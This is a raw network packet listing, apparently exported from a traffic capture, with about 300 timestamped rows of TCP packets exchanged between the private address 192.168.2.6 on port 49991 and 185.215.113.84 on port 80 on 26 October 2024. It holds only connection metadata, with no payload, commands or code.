Oct 26, 2024 07:27:11.679373026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679380894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679394007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679399967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679404974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679409027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679414034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679423094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679425001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679438114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679454088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679455042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679469109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679493904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679501057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679541111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679543018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679558992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679595947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679606915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679620981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679636002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679640055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679650068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679657936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679677963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679685116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679728031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679744005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679759026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679781914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679805994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679825068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679838896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679853916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679869890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679879904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679894924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679899931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679909945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679924011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679928064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679934978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679943085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679955006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679970026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679987907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680033922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680048943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680063963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680069923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680079937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680080891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680100918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680104971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680116892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680120945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680136919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680145979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680152893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680171013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680176020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680177927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680191994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680198908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680214882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680217981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680231094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680234909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680250883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680265903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680269957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680280924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680293083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680300951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680324078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680325031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680334091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680344105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680357933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680372000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680381060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680388927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680396080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680403948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680412054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680428982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680437088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680443048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680459976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680463076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680478096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680488110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680493116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680509090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680510044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680526018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680531979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680541039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680561066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680567026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680576086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680588961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680592060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680608988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680614948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680622101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680630922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680638075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680639029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680655003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680659056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680668116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680677891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680689096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680691004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680706024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680711031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680721998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680723906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680735111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680737972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680757999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680768013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680775881 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680783987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680805922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680814981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680823088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680838108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680852890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.680859089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680877924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.680886030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681078911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681102991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681119919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681124926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681140900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681144953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681154966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681157112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681171894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681173086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681191921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681210041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681298971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681314945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681355953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681389093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681404114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681426048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681438923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.681441069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681466103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.681479931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708384991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708411932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708425999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708458900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708473921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708488941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708499908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708554983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708735943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708749056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708771944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708786011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708797932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708806992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708821058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708822012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708837032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708838940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708856106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708863974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708870888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.708873987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708890915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.708914042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709110975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709147930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709197998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709212065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709225893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709233999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709243059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709244013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709259987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709264994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709273100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709276915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709292889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709295034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709311962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709312916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709322929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709326982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709347963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709351063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709358931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709368944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709386110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709399939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709412098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709427118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709441900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709464073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709465981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709481001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709492922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709496975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709512949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709521055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709522009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709534883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709548950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709551096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709574938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709577084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709589958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709604979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709608078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709610939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709621906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709631920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709646940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709654093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709662914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709662914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709678888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709683895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709693909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709703922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709709883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709722042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709727049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709728956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709743023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709757090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709770918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709770918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709773064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709784031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709786892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709795952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709805012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709820986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709830046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709830046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709836960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709846973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709847927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709858894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709871054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709872961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709887981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709904909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709911108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709928989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709930897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709954977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709964037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709964037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.709969997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.709984064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710006952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710012913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710031986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710047007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710053921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710063934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710072994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710079908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710097075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710098028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710107088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710127115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710143089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710150003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710164070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710167885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710186005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710190058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710201025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710206985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710216999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710218906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710239887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710242033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710248947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710257053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710272074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710273981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710287094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710293055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710302114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710305929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710319042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710324049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710340023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710345030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710351944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710364103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710375071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710378885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710396051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710401058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710411072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710416079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710427999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710428953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710447073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710459948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710462093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710484982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710498095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710500956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710522890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710525990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710541010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710550070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710562944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710566044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710580111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710586071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710594893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710601091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710612059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710619926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710628033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710635900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710653067 CEST	80	49991	185.215.113.84	192.168.2.6
